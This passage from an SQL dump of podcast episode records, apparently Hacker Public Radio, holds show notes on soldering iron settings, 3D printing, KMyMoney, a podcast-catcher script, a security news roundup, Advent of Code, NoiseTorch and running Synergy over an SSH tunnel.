OLED screen</li>\n</ul></li>\n<li>(Invert icon) &#x2610;\n<ul>\n<li>Invert the colors of the OLED screen</li>\n</ul></li>\n<li>Boot logo duration (1s)\n<ul>\n<li>Sets the duration for the boot logo (s=seconds)</li>\n<li>Range: 1-4s | Infinite | Off</li>\n</ul></li>\n<li>Detailed idle screen &#x2610;\n<ul>\n<li>Display detailed information in a smaller font on the idle\nscreen</li>\n</ul></li>\n<li>Detailed solder screen &#x2610;\n<ul>\n<li>Display detailed information in a smaller font on the soldering\nscreen</li>\n</ul></li>\n</ul></li>\n<li><p><em><em>Advanced Settings</em></em></p>\n<ul>\n<li>Power limit (35 W)\n<ul>\n<li>Maximum power the iron can use (W=watts)</li>\n<li>Range: Off or 0 to 95W (Increments of 5)</li>\n</ul></li>\n<li>Reset factory settings?\n<ul>\n<li>Reset all settings to default</li>\n</ul></li>\n<li>Calibrate temperature\n<ul>\n<li>Start tip temperature offset calibration</li>\n</ul></li>\n<li>Calibrate input voltage\n<ul>\n<li>Start VIN calibration (long press to exit)</li>\n</ul></li>\n<li>Power pulse (0.5)\n<ul>\n<li>Intensity of power of keep-awake-pulse (watt)</li>\n<li>Range 0.1 to 9.9 | Off</li>\n</ul></li>\n<li>Power pulse delay (4)\n<ul>\n<li>Delay before keep-awake-pulse is triggered (x 2.5s)</li>\n<li>Range: 1 to 9</li>\n</ul></li>\n<li>Power pulse duration (1)\n<ul>\n<li>Keep-awake-pulse duration (x 250ms)</li>\n<li>Range: 1 to 9</li>\n</ul></li>\n</ul></li>\n<li><p><em><em>Barrel Power Supply</em></em></p>\n<ul>\n<li><a href=\"https://www.amazon.com/gp/product/B0896Y8181\"\ntitle=\"ALITOVE 24V Power Supply 4A 96W\">ALITOVE 24V Power Supply 4A\n96W</a></li>\n</ul></li>\n</ul>\n',318,0,0,'CC-BY-SA','soldering, soldering iron, Pinecil, menu',0,0,1),
(3749,'2022-12-15','Making your own parts',855,'3D printers are useful for making your own custom parts and I talk about the parts I\'ve made.','<p>The part I made moments before the show is available at <a href=\"https://www.thingiverse.com/thing:5686075\">Thingiverse</a>.\nHere is a screenshot of modeling it in Blender followed by the piece installed on the microphone holder.</p>\n\n<p><img src=\"https://suso.suso.org/mediafiles/blender-modeling-mic-pop-filter-holder.jpg\" alt=\"Blender modeling pop filter holder\" width=\"800\"></p>\n<p><a href=\"https://suso.suso.org/mediafiles/blender-modeling-mic-pop-filter-holder.jpg\">See full image</a></p>\n\n<p><img src=\"https://suso.suso.org/mediafiles/microphone-pop-filter-holder1.jpg\" alt=\"Microphone pop filter holder\" width=\"800\"></p>\n<p><a href=\"https://suso.suso.org/mediafiles/microphone-pop-filter-holder1.jpg\">See full image</a></p>\n\n<p>Also a photo of the green screen hooks I created for hanging these large holiday light things.</p>\n\n<p><img src=\"https://suso.suso.org/mediafiles/green-screen-hooks.jpg\" alt=\"Green screen hooks\" width=\"800\"></p>\n<p><a href=\"https://suso.suso.org/mediafiles/green-screen-hooks.jpg\">See full image</a></p>\n\n<p><a href=\"https://www.thingiverse.com/thing:3023372\">The drill dust collector (on Thingiverse)</a></p>\n',194,0,0,'CC-BY-SA','3D printing,DIY,Maker,microphones',0,0,1),
(3738,'2022-11-30','Intro to KMyMoney',182,'Brief Intro to KMyMoney on KDE','<p>Brief discussion on kmymoney.</p>\n<p>Website: <a href=\"https://kmymoney.org/\"\nclass=\"uri\">https://kmymoney.org/</a></p>\n<p>P.S. uses of \"scheduled tasks\" jump from 2 to 4 because #3 had\ncorruption in the recording.</p>\n',414,0,0,'CC-BY-SA','Kmymoney',0,0,1),
(3748,'2022-12-14','The Squirrels gift to HPR',569,'The Squirrels have modified Bash Podder to do something different','<p>Humans,</p>\n<p>Download the following compressed tar file containing the Squirrels\nPodcast thingie.</p>\n<p><a\nhref=\"https://drive.google.com/file/d/1akf74fhM6s1DtDFPhrVvvbKXkzCCa4JQ/view?usp=sharing\"\nclass=\"uri\">https://drive.google.com/file/d/1akf74fhM6s1DtDFPhrVvvbKXkzCCa4JQ/view?usp=sharing</a></p>\n<p>Untar the thingie;</p>\n<pre><code>tar -zxvf PODTHING</code></pre>\n<p>explore the subdirectories it created.</p>\n<p>You can copy the Media_Gift directory to where ever you want it to\nreside and even rename it\n<code>mv Media_Gift  /home/me/mythingie</code></p>\n<p>install your own korn shell {KSH} or modify the bashpodder.shell\nscripts located inside to point to where ever you keep bash on your\nsystem.</p>\n<p>Run the entire script from the Media_Gift directory</p>\n<pre><code>./get_all_podcasts</code></pre>\n<p>Enjoy Humans. All Squirrels love all humans. Happy Holidays. Eat more\nnuts.</p>\n',377,0,1,'CC-BY-SA','podcastcatcher,bashpoddermod',0,0,1),
(3743,'2022-12-07','HPR News',575,'News for the Community, by the Community.','<h1 id=\"hpr-news\">HPR NEWS</h1>\n<h1 id=\"news-for-the-community-by-the-community\">News for the community,\nby the community.</h1>\n<ul>\n<li><p><strong>TAGS:</strong> Ransomware, Malware, Phishing, Security\nBreach</p></li>\n<li><p><a\nhref=\"https://thehackernews.com/2022/10/microsoft-confirms-server.html\">Microsoft\nConfirms Server Misconfiguration Led to 65,000+ Companies\' Data\nLeak</a></p>\n<ul>\n<li>Microsoft &#x201C;misconfigured&#x201D; an <a\nhref=\"https://azure.microsoft.com/en-us/products/storage/blobs/#overview\">Azure\nBlob Storage</a> server causing a security breach. Attackers were able\nto access unauthorized customer data; business transactions and other\ninteractions between Microsoft and its customers. <a\nhref=\"https://socradar.io/\">SOCRadar</a>, a cyber security company, is\ncalling the security breach &#x201C;BlueBleed&#x201D;. SOCRadar discovered the breach\non September 24, 2022 Microsoft is downplaying the security breach but\nsecurity researcher Kevin Beaumont isn\'t buying it. Mr. Beaumont suggest\nMicrosoft dropped the ball on informing its customers, and federal\nregulators, of the security breach in a timely manner.</li>\n</ul></li>\n<li><p><a\nhref=\"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/new-hiddenads-malware-that-runs-automatically-and-hides-on-google-play-1m-users-affected/\">HiddenAds\nmalware affects 1M+ Android users</a></p>\n<ul>\n<li>McAfee&#x2019;s Mobile Research Team identified multiple apps containing\nmalware on the Google Play Store. After install, the malicious android\napps automatically run services without the user knowing or interacting\nwith the app. That&#x2019;s right, they auto run after install. These malicious\napps then disguise themselves by changing their icon to the &#x201C;Google\nPlay&#x201D; icon and renaming to themselves to &#x201C;Google Play&#x201D; or &#x201C;Settings&#x201D;.\nThe malicious apps quickly create permanent malicious services. McAfee&#x2019;s\nMobile Research Team demonstrates the resilience of the malware by using\n<a href=\"https://www.man7.org/linux/man-pages/man1/kill.1.html\">kill\n-9</a> on the service processes. More malicious processes generate\nimmediately as if nothing happened.</li>\n</ul></li>\n<li><p><a\nhref=\"https://thehackernews.com/2022/10/experts-warn-of-stealthy-powershell.html\">Fully\nundetectable PowerShell backdoor disguised as part of a Windows\nupdate</a></p>\n<ul>\n<li>Director of security research at SafeBreach, Tomer Bar stated, \"The\ncovert self-developed tool and the associated C2 commands seem to be the\nwork of a sophisticated, unknown threat actor who has targeted\napproximately 100 victims.\"</li>\n<li>Based on the metadata found within a malicious document, this seems\nto be a LinkedIn-based spear-phishing attack, which ultimately leads to\nthe execution of a PowerShell script via a piece of embedded macro\ncode.</li>\n<li>\"The Macro drops \'updater.vbs\' creates a scheduled task pretending\nto be part of a Windows update, which will execute the updater.vbs\nscript from a fake update folder under\n\'%appdata%\\local\\Microsoft\\Windows,\'\"said Tomar.</li>\n<li>Currently 32 security vendors and 18 anti-malware engines have\nflagged the decoy document and the PowerShell scripts as malicious.</li>\n<li>The findings come as Microsoft has <a\nhref=\"https://thehackernews.com/2022/07/microsoft-resumes-blocking-office-vba.html\">taken\nsteps</a> to block Excel 4.0 (XLM or XL4) and Visual Basic for\nApplications (VBA) macros by default across Office apps, prompting\nthreat actors to pivot to <a\nhref=\"https://thehackernews.com/2022/07/hackers-opting-new-attack-methods-after.html\">alternative\ndelivery methods</a>.</li>\n</ul></li>\n<li><p><a\nhref=\"https://apnews.com/6f1ec0c740d878ad00f5b08d2521f831\">Millions of\npatients compromised in hospital data leak.</a></p>\n<ul>\n<li>Nearly 3 million Illinois &amp; Wisconsin patients are caught in a\nhospital data breach. Advocate Aurora Health, which operates 27\nhospitals, said in a statement, &#x201C;the breach may have exposed information\nincluding a patients\' medical provider, type of appointments, medical\nprocedures, dates and locations of scheduled appointments, and IP\naddresses&#x201D;. The system blamed the breach on its use of pixels, computer\ncode that collects information on how a user interacts with a website,\nincluding products developed by Google and Facebook\'s parent company\nMeta that make the collected data accessible to those companies.</li>\n<li>The health care industry\'s use of pixels has come under wide\ncriticism from privacy advocates who warn that the technology\'s use\nviolates federal patient privacy law. A <a\nhref=\"https://ocrportal.hhs.gov/ocr/breach/breach_report.jsf\">report</a>\npublished in June by The Markup found many of the country\'s top-ranked\nhospitals used the Meta Pixel, collecting and sending sensitive patient\ninformation to the social media company.</li>\n</ul></li>\n</ul>\n<h2 id=\"user-space\">User space.</h2>\n<ul>\n<li><a\nhref=\"https://www.washingtontimes.com/news/2022/oct/21/texas-sues-google-surreptitiously-collecting-users/\">Texas\nsues Google for biometric data collecting</a>\n<ul>\n<li>Texas has filed a lawsuit against Google claiming the tech behemoth\ntook users&#x2019; biometric data without permission. <a\nhref=\"https://kenpaxton.com/\">Texas Attorney General Ken Paxton</a>,\nclaims Google is illegally data harvesting Texans using features and\ndevices such as: Google Photos, Google Assistant, and Nest Hub Max. <a\nhref=\"https://www.linkedin.com/in/jose-castaneda-378a338a\">Google\nspokesman Jos&#xE9; Casta&#xF1;eda</a><br />\nis willing to take the argument to court, &#x201C;AG Paxton is once again\nmischaracterizing our products in another breathless lawsuit,&#x201D;.</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','Malware, Security Breach, Meta, HPR News',0,0,1),
(3744,'2022-12-08','Advent of code Day 1 - 4',308,'Talking about my experience of advent of code so far','<p>Advent of code:</p>\n<p><a href=\"https://adventofcode.com/\"\nclass=\"uri\">https://adventofcode.com/</a></p>\n<p>Here are some links to the recording of my puzzle-solving:</p>\n<ul>\n<li><p>Day 1<br />\n<a href=\"https://youtu.be/yxXL5gP2RpE\"\nclass=\"uri\">https://youtu.be/yxXL5gP2RpE</a></p></li>\n<li><p>Day 2<br />\n<a href=\"https://youtu.be/OoRyHjTvmIg\"\nclass=\"uri\">https://youtu.be/OoRyHjTvmIg</a></p></li>\n<li><p>Day 3<br />\n<a href=\"https://youtu.be/Le5WRtjyOyI\"\nclass=\"uri\">https://youtu.be/Le5WRtjyOyI</a></p></li>\n<li><p>Day 4<br />\n<a href=\"https://youtu.be/E2FJCrbrdDc\"\nclass=\"uri\">https://youtu.be/E2FJCrbrdDc</a></p></li>\n</ul>\n',382,0,0,'CC-BY-SA','advent of code, aoc, java',0,0,1),
(3742,'2022-12-06','Battery',626,'The wikipedia article on the Battery','<p>A battery converts chemical energy into electrical energy by a\nchemical reaction. Usually the chemicals are kept inside the battery. It\nis used in a circuit to power other components. A battery produces\ndirect current (DC) electricity (electricity that flows in one\ndirection, and does not switch back and forth).</p>\n<p>Using the electricity from an outlet in a building is cheaper and\nmore efficient, but a battery can provide electricity in areas that do\nnot have electric power distribution. It is also useful for things that\nmove, such as electric vehicles and mobile phones.</p>\n<p>Batteries may be primary or secondary. The primary is thrown away\nwhen it can no longer provide electricity. The secondary can be\nrecharged and reused.</p>\n<p><a href=\"https://simple.wikipedia.org/wiki/Battery\">Continue Reading\non Wikipedia</a></p>\n',30,43,0,'CC-BY-SA','battery, cell, ham, wikipedia',0,0,1),
(3747,'2022-12-13','Twitter and Dinner with the Humans',1614,'I talk about Twitter after dinner with some Humans','<p>Reality 2.0 Podcast<br />\n<a href=\"https://www.reality2cast.com/\"\nclass=\"uri\">https://www.reality2cast.com/</a></p>\n',377,0,1,'CC-BY-SA','Dinner,Humans,Twitter',0,0,1),
(3751,'2022-12-19','Using Noisetorch',427,'Noisetorch is a program for Linux that creates a virtual microphone that removes background sounds.','<p>Official Noisetorch repo: <a href=\"https://github.com/noisetorch/NoiseTorch\">https://github.com/noisetorch/NoiseTorch</a></p>\n\n<p><a href=\"https://www.youtube.com/watch?v=DzN9rYNeeIU\">Noisetorch demo video</A> by <a href=\"https://www.youtube.com/@LinuxForEveryone\">Linux for everyone</a></p>\n\n<p><a href=\"https://pipewire.org/\">The Pipewire soundsystem</a> for Linux.</p>\n',194,0,0,'CC-BY-SA','audio,podcasting,microphone,linux',0,0,1),
(3755,'2022-12-23','Synergy over ssh',1495,'Control your other PC securely using synergy over ssh','<p>In today\'s show we will talk about installing synergy so that you can\ncontrol the keyboard and mouse of another computer securely over\nssh.</p>\n<p>Install synergy on both computers as root</p>\n<pre><code># dnf install synergy\n# apt install synergy</code></pre>\n<p>The main pc is <code>pc_middle</code> and it is the one with the\nkeyboard and mouse we intend to use for all the computers.</p>\n<p>The only other pc in this configuration is, one on the right which we\ncall <code>pc_right</code></p>\n<p>On <code>pc_middle</code> create a configuration file. I put it in\n<code>~/etc/synergy-work.conf</code></p>\n<pre><code>section: screens\n    pc_middle:\n    pc_right:\nend\n\nsection: links\npc_middle:\n    right = pc_right\npc_right:\n    left  = pc_middle\nend</code></pre>\n<p>On <code>pc_middle</code> add entry to <code>~/.ssh/config</code> to\nallow portforwarding back, for the <strong>synergy</strong> port\n<em>24800</em></p>\n<pre><code>Host pc_right\n    Hostname 192.168.0.150\n    RemoteForward 127.0.0.1:24800 127.0.0.1:24800 # send back from the client to me</code></pre>\n<p>On <code>pc_middle</code> run synergy server in the foreground with\ndebug enabled</p>\n<pre><code>[user@pc_middle ~]$ synergys --debug DEBUG --no-daemon --server --address 127.0.0.1 --config ~/etc/synergy-work.conf --name pc_middle --log /tmp/synergy-work.conf.log\n[2022-12-03T16:29:05] DEBUG: opening configuration &quot;~/etc/synergy-work.conf&quot;\n[2022-12-03T16:29:05] DEBUG: configuration read successfully\n[2022-12-03T16:29:05] DEBUG: XOpenDisplay(&quot;:0&quot;)\n[2022-12-03T16:29:05] DEBUG: xscreensaver window: 0x00c00001\n[2022-12-03T16:29:05] DEBUG: screen shape: 0,0 5760x2160 (xinerama)\n[2022-12-03T16:29:05] DEBUG: window is 0x05e00004\n[2022-12-03T16:29:05] DEBUG: adopting new buffer\n[2022-12-03T16:29:05] DEBUG: opened display\n[2022-12-03T16:29:05] WARNING: LANGUAGE_DEBUG Poll result 0\n[2022-12-03T16:29:05] DEBUG: registered hotkey ScrollLock (id=ef14 mask=0000) as id=1\n[2022-12-03T16:29:05] NOTE: started server, waiting for clients\n[2022-12-03T16:29:05] DEBUG: event queue is ready\n[2022-12-03T16:29:05] DEBUG: add pending events to buffer\n[2022-12-03T16:29:05] DEBUG: screen &quot;pc_middle&quot; shape changed</code></pre>\n<p>On <code>pc_middle</code> you can check that it\'s running</p>\n<pre><code>[user@pc_middle ~]$ netstat -anp | grep 24800\ntcp        0      0 127.0.0.1:24800     0.0.0.0:*               LISTEN      90859/synergys</code></pre>\n<p>On <code>pc_middle</code> you can connect to\n<code>pc_right</code></p>\n<pre><code>[user@pc_middle ~]$ ssh pc_right\nuser@pc_right:~$</code></pre>\n<p>On <code>pc_right</code> (either on its own keyboard, or via ssh\nsession from <code>pc_middle</code>), check that port <code>24800</code>\nis listening</p>\n<pre><code>user@pc_right:~$ netstat -anp | grep 24800\ntcp        0      0 127.0.0.1:24800         0.0.0.0:*               LISTEN</code></pre>\n<p>On the other keyboard that is connected to the <code>pc_right</code>\n(see note below &#x2020;)</p>\n<pre><code>user@pc_right:~$ synergyc --debug INFO --no-daemon --name pc_right 127.0.0.1\n[2022-12-03T16:38:59] NOTE: started client\n        /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/synergy/ClientApp.cpp,404\n[2022-12-03T16:38:59] NOTE: connecting to &#39;127.0.0.1&#39;: 127.0.0.1:24800\n        /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/client/Client.cpp,146\n[2022-12-03T16:38:59] NOTE: connected to server\n        /build/synergy-3N7yN5/synergy-1.8.8-stable+dfsg.1/src/lib/synergy/ClientApp.cpp,294</code></pre>\n<p>Back on <code>pc_middle</code>, you should see the the log that you\nhave connected</p>\n<pre><code>[2022-12-03T16:40:15] DEBUG: Opening new socket: 18FC73A0\n[2022-12-03T16:40:15] NOTE: accepted client connection\n[2022-12-03T16:40:16] DEBUG: received client &quot;pc_right&quot; info shape=0,0 5760x2160 at 2787,1371\n[2022-12-03T16:40:16] NOTE: client &quot;pc_right&quot; has connected</code></pre>\n<p>&#x2020; Note: If you tried to run the client <code>synergyc</code> over the\nssh connection on <code>pc_middle</code> it will connect, but the mouse\nwill never <em>move</em> to the other screen.</p>\n<p>Now from the <code>pc_middle</code>, you should be able to\n<em>move</em> the mouse over to the <code>pc_right</code> screen.</p>\n<p>Now using the keyboard and mouse on the <code>pc_middle</code>, you\nshould now be able to move the mouse and type on the\n<code>pc_right</code> screen.</p>\n<p>The logs on the <code>pc_middle</code>, should show you information\nabout switching from one computer to the other.</p>\n<pre><code>[2022-12-03T17:05:18] INFO: switch from &quot;pc_middle&quot; to &quot;pc_right&quot; at 0,225\n[2022-12-03T17:05:18] INFO: leaving screen\n[2022-12-03T17:05:18] WARNING: LANGUAGE_DEBUG Poll result 0\n[2022-12-03T17:05:18] DEBUG: open clipboard 0\n[2022-12-03T17:05:18] DEBUG: ICCCM fill clipboard 0\n[2022-12-03T17:05:18] DEBUG:   available targets: text/plain (654), UTF8_STRING (445), STRING (31), TEXT (444)\n[2022-12-03T17:05:18] DEBUG: added format 0 for target UTF8_STRING (445) (8 bytes)\n[2022-12-03T17:05:18] DEBUG: close clipboard 0\n[2022-12-03T17:05:18] INFO: screen &quot;pc_middle&quot; updated clipboard 0\n[2022-12-03T17:05:18] DEBUG: open clipboard 1\n[2022-12-03T17:05:18] DEBUG: ICCCM fill clipboard 1\n[2022-12-03T17:05:18] DEBUG:   available targets: text/plain (654), UTF8_STRING (445), STRING (31), TEXT (444), text/html (653)\n[2022-12-03T17:05:18] DEBUG: added format 1 for target text/html (653) (113 bytes)\n[2022-12-03T17:05:18] DEBUG: added format 0 for target UTF8_STRING (445) (5 bytes)\n[2022-12-03T17:05:18] DEBUG: close clipboard 1\n[2022-12-03T17:05:18] INFO: screen &quot;pc_middle&quot; updated clipboard 1\n[2022-12-03T17:05:18] DEBUG: sending clipboard 0 to &quot;pc_right&quot;\n[2022-12-03T17:05:18] DEBUG: sent clipboard size=20\n[2022-12-03T17:05:18] DEBUG: sending clipboard 1 to &quot;pc_right&quot;\n[2022-12-03T17:05:18] DEBUG: sent clipboard size=138\n[2022-12-03T17:05:19] INFO: switch from &quot;pc_right&quot; to &quot;pc_middle&quot; at 5757,583\n[2022-12-03T17:05:19] INFO: entering screen\n[2022-12-03T17:05:19] DEBUG: send xscreensaver command: 582 0 0</code></pre>\n<p>Back on <code>pc_right</code> you can close the client by holding\nControl and pressing C, or Ctrl+C for short.</p>\n<p>The logs on the <code>pc_middle</code>, should show you that the\nclient disconnected.</p>\n<pre><code>[2022-12-03T16:40:18] NOTE: client &quot;pc_right&quot; has disconnected\n[2022-12-03T16:40:18] DEBUG: Closing socket: 18FC73A0</code></pre>\n<p>As we are running over ssh, there is no need to configure\n<code>--enable-crypto</code> but you can if you wish.</p>\n<p>Now that everything is working correctly you can make it easier to\nstart.</p>\n<p>As we saw before (&#x2020;) the client needs to be run from the physical X\nSession that you see on the second computer.</p>\n<p>On <code>pc_right</code> create a new bash script file eg:\n<code>nano ~/bin/start-synergy-client.bash</code></p>\n<pre><code>#!/bin/bash\nkillall synergyc\nsleep 2\nsynergyc --name pc_right 127.0.0.1\nexit 0</code></pre>\n<p>Still on <code>pc_right</code> allow the file to be executable\n<code>chmod +x ~/bin/start-synergy-client.bash</code></p>\n<p>Still on <code>pc_right</code> and <strong>in the session you wish to\ncontrol</strong>, run <code>start-synergy-client.bash</code></p>\n<p>I find it easiest to just run this in a shell once I login on\n<code>pc_right</code>, but you could configure it to <a\nhref=\"https://learn.adafruit.com/synergy-on-raspberry-pi/setup-synergy-client-autostart\">run\nautomatically once you log in</a>.</p>\n<p>Back on <code>pc_middle</code>, create a new bash script file eg:\n<code>nano ~/bin/start-synergy-server.bash</code></p>\n<pre><code>#!/bin/bash\nserver_name=synergys # may also be synergy-core\nkillall &quot;${server_name}&quot;\n${server_name} --server --address 127.0.0.1 --config ~/etc/synergy-work.conf --name pc_middle --log /tmp/synergy-work.conf.log\nsetxkbmap -option &quot;compose:ralt&quot;\nsetxkbmap -option &quot;ctrl:nocaps&quot;\nssh pc_right</code></pre>\n<p>Still on <code>pc_middle</code> allow the file to be executable\n<code>chmod +x ~/bin/start-synergy-server.bash</code></p>\n<p>Still on <code>pc_middle</code> you can run the command\n<code>start-synergy-server.bash</code> and it will open a ssh shell to\n<code>pc_right</code>.</p>\n<p>Over that connection <code>pc_right</code> can send back commands to\nthe server.</p>\n<p>A side note about the special address 127.0.0.1.</p>\n<p>It\'s often referred to as <strong>loopback</strong>, home, or\n<code>localhost</code> and is usually defined in\n<code>/etc/hosts</code></p>\n<p>The address is used by programs running on a given computer to\ncommunicate with other programs running on the same computer.</p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/Localhost\">https://en.wikipedia.org/wiki/Localhost</a></p>\n<blockquote>\n<p>IPv4 network standards reserve the entire address block 127.0.0.0/8\n(more than 16 million addresses) for loopback purposes.</p>\n</blockquote>\n<p>If you are confused, then just think of it like you when your boss\nsays \"I\'m going home now, you should also go home.\"</p>\n<p>It\'s clear that they mean \"I\'m going to <strong>my</strong> home now,\nand you should also go to <strong>your</strong> home.\"</p>\n<p>So the address 127.0.0.1 on <code>pc_middle</code> is only available\non <code>pc_middle</code>, and equally the address 127.0.0.1 on\n<code>pc_right</code> is only available on <code>pc_right</code>.</p>\n<p>The server is listening on its loopback address 127.0.0.1 on\n<code>pc_middle</code>, while the client is listening on its loopback\naddress 127.0.0.1 on <code>pc_right</code></p>\n<p>It is the <code>RemoteForward</code> configuration that creates a ssh\n<code>tunnel</code> that is doing the heavy lifting.</p>\n<pre><code>RemoteForward 127.0.0.1:24800 127.0.0.1:24800</code></pre>\n<p>It tells the Remote (in this case <code>pc_right</code> ) to listen\nto the port <code>24800</code> its loopback address.</p>\n<p>This is where the client on <code>pc_right</code> will be talking\nto.</p>\n<p>The ssh connection will then Forward any packets back to the other\nside (in this case <code>pc_middle</code> )</p>\n<p>And to send to the port <code>24800</code> its loopback address.</p>\n<p>And on that address the server is listening.</p>\n',30,0,0,'CC-BY-SA','synergy,ssh,port forward,tunnel',0,0,1),
